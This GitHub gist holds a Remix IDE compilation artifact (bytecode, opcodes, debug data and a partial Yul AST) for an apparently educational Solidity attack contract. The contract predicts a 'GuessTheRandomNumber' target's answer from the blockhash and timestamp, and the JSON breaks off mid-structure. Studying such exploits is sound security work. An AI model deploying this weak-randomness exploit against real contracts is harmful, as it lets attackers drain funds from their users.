Skip to content

Instantly share code, notes, and snippets.

@vyorkin
Created March 8, 2022 11:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vyorkin/5b16b88cd1fca41eccad314d78acb57c to your computer and use it in GitHub Desktop.
Save vyorkin/5b16b88cd1fca41eccad314d78acb57c to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.12+commit.f00d7308.js&optimize=false&runs=200&gist=
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "608060405234801561001057600080fd5b50610328806100206000396000f3fe60806040526004361061002d5760003560e01c806312065fe014610039578063d018db3e1461006457610034565b3661003457005b600080fd5b34801561004557600080fd5b5061004e61008d565b60405161005b919061015a565b60405180910390f35b34801561007057600080fd5b5061008b600480360381019061008691906101ea565b610095565b005b600047905090565b60006001436100a49190610246565b40426040516020016100b79291906102c6565b6040516020818303038152906040528051906020012060001c90508173ffffffffffffffffffffffffffffffffffffffff16639189fec1826040518263ffffffff1660e01b815260040161010b919061015a565b600060405180830381600087803b15801561012557600080fd5b505af1158015610139573d6000803e3d6000fd5b505050505050565b6000819050919050565b61015481610141565b82525050565b600060208201905061016f600083018461014b565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006101a58261017a565b9050919050565b60006101b78261019a565b9050919050565b6101c7816101ac565b81146101d257600080fd5b50565b6000813590506101e4816101be565b92915050565b600060208284031215610200576101ff610175565b5b600061020e848285016101d5565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061025182610141565b915061025c83610141565b92508282101561026f5761026e610217565b5b828203905092915050565b6000819050919050565b6000819050919050565b61029f61029a8261027a565b610284565b82525050565b6000819050919050565b6102c06102bb82610141565b6102a5565b82525050565b60006102d2828561028e565b6020820191506102e282846102af565b602082019150819050939250505056fea2646970667358221220f61fab70c4b5feb6a49566e9104c748f699afb67cd3ec4e76fe8c986ace49dc564736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x328 DUP1 PUSH2 0x20 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2D JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x12065FE0 EQ PUSH2 0x39 JUMPI DUP1 PUSH4 0xD018DB3E EQ PUSH2 0x64 JUMPI PUSH2 0x34 JUMP JUMPDEST CALLDATASIZE PUSH2 0x34 JUMPI STOP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x45 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x4E PUSH2 0x8D JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x5B SWAP2 SWAP1 PUSH2 0x15A JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x70 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x8B PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x86 SWAP2 SWAP1 PUSH2 0x1EA JUMP JUMPDEST PUSH2 0x95 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 SELFBALANCE SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x1 NUMBER PUSH2 0xA4 SWAP2 SWAP1 PUSH2 0x246 JUMP JUMPDEST BLOCKHASH TIMESTAMP PUSH1 0x40 MLOAD PUSH1 0x20 ADD PUSH2 0xB7 SWAP3 SWAP2 SWAP1 PUSH2 0x2C6 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE DUP1 MLOAD SWAP1 PUSH1 0x20 ADD KECCAK256 PUSH1 0x0 SHR SWAP1 POP DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x9189FEC1 DUP3 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x10B SWAP2 SWAP1 PUSH2 0x15A JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x125 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x139 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x154 DUP2 PUSH2 0x141 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x16F PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x14B JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x1A5 DUP3 PUSH2 0x17A JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x1B7 DUP3 PUSH2 0x19A JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x1C7 DUP2 PUSH2 0x1AC JUMP JUMPDEST DUP2 EQ PUSH2 0x1D2 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x1E4 DUP2 PUSH2 0x1BE JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x200 JUMPI PUSH2 0x1FF PUSH2 0x175 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x20E DUP5 DUP3 DUP6 ADD PUSH2 0x1D5 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 PUSH2 0x251 DUP3 PUSH2 0x141 JUMP JUMPDEST SWAP2 POP PUSH2 0x25C DUP4 PUSH2 0x141 JUMP JUMPDEST SWAP3 POP DUP3 DUP3 LT ISZERO PUSH2 0x26F JUMPI PUSH2 0x26E PUSH2 0x217 JUMP JUMPDEST JUMPDEST DUP3 DUP3 SUB SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x29F PUSH2 0x29A DUP3 PUSH2 0x27A JUMP JUMPDEST PUSH2 0x284 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x2C0 PUSH2 0x2BB DUP3 PUSH2 0x141 JUMP JUMPDEST PUSH2 0x2A5 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x2D2 DUP3 DUP6 PUSH2 0x28E JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP2 POP PUSH2 0x2E2 DUP3 DUP5 PUSH2 0x2AF JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP2 POP DUP2 SWAP1 POP SWAP4 SWAP3 POP POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xF6 0x1F 0xAB PUSH17 0xC4B5FEB6A49566E9104C748F699AFB67CD RETURNDATACOPY 0xC4 0xE7 PUSH16 0xE8C986ACE49DC564736F6C634300080C STOP CALLER ",
"sourceMap": "454:442:0:-:0;;;;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@_55": {
"entryPoint": null,
"id": 55,
"parameterSlots": 0,
"returnSlots": 0
},
"@attack_87": {
"entryPoint": 149,
"id": 87,
"parameterSlots": 1,
"returnSlots": 0
},
"@getBalance_99": {
"entryPoint": 141,
"id": 99,
"parameterSlots": 0,
"returnSlots": 1
},
"abi_decode_t_contract$_GuessTheRandomNumber_$51": {
"entryPoint": 469,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_contract$_GuessTheRandomNumber_$51": {
"entryPoint": 490,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_bytes32_to_t_bytes32_nonPadded_inplace_fromStack": {
"entryPoint": 654,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_uint256_to_t_uint256_fromStack": {
"entryPoint": 331,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_uint256_to_t_uint256_nonPadded_inplace_fromStack": {
"entryPoint": 687,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_packed_t_bytes32_t_uint256__to_t_bytes32_t_uint256__nonPadded_inplace_fromStack_reversed": {
"entryPoint": 710,
"id": null,
"parameterSlots": 3,
"returnSlots": 1
},
"abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed": {
"entryPoint": 346,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"checked_sub_t_uint256": {
"entryPoint": 582,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"cleanup_t_address": {
"entryPoint": 410,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_bytes32": {
"entryPoint": 634,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_contract$_GuessTheRandomNumber_$51": {
"entryPoint": 428,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint160": {
"entryPoint": 378,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 321,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"leftAlign_t_bytes32": {
"entryPoint": 644,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"leftAlign_t_uint256": {
"entryPoint": 677,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"panic_error_0x11": {
"entryPoint": 535,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 373,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_contract$_GuessTheRandomNumber_$51": {
"entryPoint": 446,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:3264:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "52:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "62:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "73:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "62:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "34:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "44:7:1",
"type": ""
}
],
"src": "7:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "155:53:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "172:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "195:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "177:17:1"
},
"nodeType": "YulFunctionCall",
"src": "177:24:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "165:6:1"
},
"nodeType": "YulFunctionCall",
"src": "165:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "165:37:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "143:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "150:3:1",
"type": ""
}
],
"src": "90:118:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "312:124:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "322:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "334:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "345:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "330:3:1"
},
"nodeType": "YulFunctionCall",
"src": "330:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "322:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "402:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "415:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "426:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "411:3:1"
},
"nodeType": "YulFunctionCall",
"src": "411:17:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "358:43:1"
},
"nodeType": "YulFunctionCall",
"src": "358:71:1"
},
"nodeType": "YulExpressionStatement",
"src": "358:71:1"
}
]
},
"name": "abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "284:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "296:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "307:4:1",
"type": ""
}
],
"src": "214:222:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "482:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "492:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "508:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "502:5:1"
},
"nodeType": "YulFunctionCall",
"src": "502:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "492:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "475:6:1",
"type": ""
}
],
"src": "442:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "612:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "629:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "632:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "622:6:1"
},
"nodeType": "YulFunctionCall",
"src": "622:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "622:12:1"
}
]
},
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulFunctionDefinition",
"src": "523:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "735:28:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "752:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "755:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "745:6:1"
},
"nodeType": "YulFunctionCall",
"src": "745:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "745:12:1"
}
]
},
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulFunctionDefinition",
"src": "646:117:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "814:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "824:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "839:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "846:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "835:3:1"
},
"nodeType": "YulFunctionCall",
"src": "835:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "824:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "796:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "806:7:1",
"type": ""
}
],
"src": "769:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "946:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "956:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "985:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "967:17:1"
},
"nodeType": "YulFunctionCall",
"src": "967:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "956:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "928:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "938:7:1",
"type": ""
}
],
"src": "901:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1075:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1085:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1114:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "1096:17:1"
},
"nodeType": "YulFunctionCall",
"src": "1096:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "1085:7:1"
}
]
}
]
},
"name": "cleanup_t_contract$_GuessTheRandomNumber_$51",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1057:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "1067:7:1",
"type": ""
}
],
"src": "1003:123:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1202:106:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1286:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1295:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1298:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "1288:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1288:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "1288:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1225:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1277:5:1"
}
],
"functionName": {
"name": "cleanup_t_contract$_GuessTheRandomNumber_$51",
"nodeType": "YulIdentifier",
"src": "1232:44:1"
},
"nodeType": "YulFunctionCall",
"src": "1232:51:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "1222:2:1"
},
"nodeType": "YulFunctionCall",
"src": "1222:62:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "1215:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1215:70:1"
},
"nodeType": "YulIf",
"src": "1212:90:1"
}
]
},
"name": "validator_revert_t_contract$_GuessTheRandomNumber_$51",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1195:5:1",
"type": ""
}
],
"src": "1132:176:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1393:114:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1403:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1425:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "1412:12:1"
},
"nodeType": "YulFunctionCall",
"src": "1412:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1403:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "1495:5:1"
}
],
"functionName": {
"name": "validator_revert_t_contract$_GuessTheRandomNumber_$51",
"nodeType": "YulIdentifier",
"src": "1441:53:1"
},
"nodeType": "YulFunctionCall",
"src": "1441:60:1"
},
"nodeType": "YulExpressionStatement",
"src": "1441:60:1"
}
]
},
"name": "abi_decode_t_contract$_GuessTheRandomNumber_$51",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1371:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "1379:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "1387:5:1",
"type": ""
}
],
"src": "1314:193:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1606:290:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "1652:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "1654:77:1"
},
"nodeType": "YulFunctionCall",
"src": "1654:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "1654:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1627:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1636:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "1623:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1623:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1648:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "1619:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1619:32:1"
},
"nodeType": "YulIf",
"src": "1616:119:1"
},
{
"nodeType": "YulBlock",
"src": "1745:144:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "1760:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "1774:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "1764:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "1789:90:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1851:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "1862:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1847:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1847:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "1871:7:1"
}
],
"functionName": {
"name": "abi_decode_t_contract$_GuessTheRandomNumber_$51",
"nodeType": "YulIdentifier",
"src": "1799:47:1"
},
"nodeType": "YulFunctionCall",
"src": "1799:80:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1789:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_contract$_GuessTheRandomNumber_$51",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1576:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "1587:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1599:6:1",
"type": ""
}
],
"src": "1513:383:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1930:152:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1947:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1950:77:1",
"type": "",
"value": "35408467139433450592217433187231851964531694900788300625387963629091585785856"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "1940:6:1"
},
"nodeType": "YulFunctionCall",
"src": "1940:88:1"
},
"nodeType": "YulExpressionStatement",
"src": "1940:88:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2044:1:1",
"type": "",
"value": "4"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2047:4:1",
"type": "",
"value": "0x11"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "2037:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2037:15:1"
},
"nodeType": "YulExpressionStatement",
"src": "2037:15:1"
},
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2068:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "2071:4:1",
"type": "",
"value": "0x24"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "2061:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2061:15:1"
},
"nodeType": "YulExpressionStatement",
"src": "2061:15:1"
}
]
},
"name": "panic_error_0x11",
"nodeType": "YulFunctionDefinition",
"src": "1902:180:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2133:146:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2143:25:1",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "2166:1:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "2148:17:1"
},
"nodeType": "YulFunctionCall",
"src": "2148:20:1"
},
"variableNames": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "2143:1:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "2177:25:1",
"value": {
"arguments": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "2200:1:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "2182:17:1"
},
"nodeType": "YulFunctionCall",
"src": "2182:20:1"
},
"variableNames": [
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "2177:1:1"
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "2224:22:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "panic_error_0x11",
"nodeType": "YulIdentifier",
"src": "2226:16:1"
},
"nodeType": "YulFunctionCall",
"src": "2226:18:1"
},
"nodeType": "YulExpressionStatement",
"src": "2226:18:1"
}
]
},
"condition": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "2218:1:1"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "2221:1:1"
}
],
"functionName": {
"name": "lt",
"nodeType": "YulIdentifier",
"src": "2215:2:1"
},
"nodeType": "YulFunctionCall",
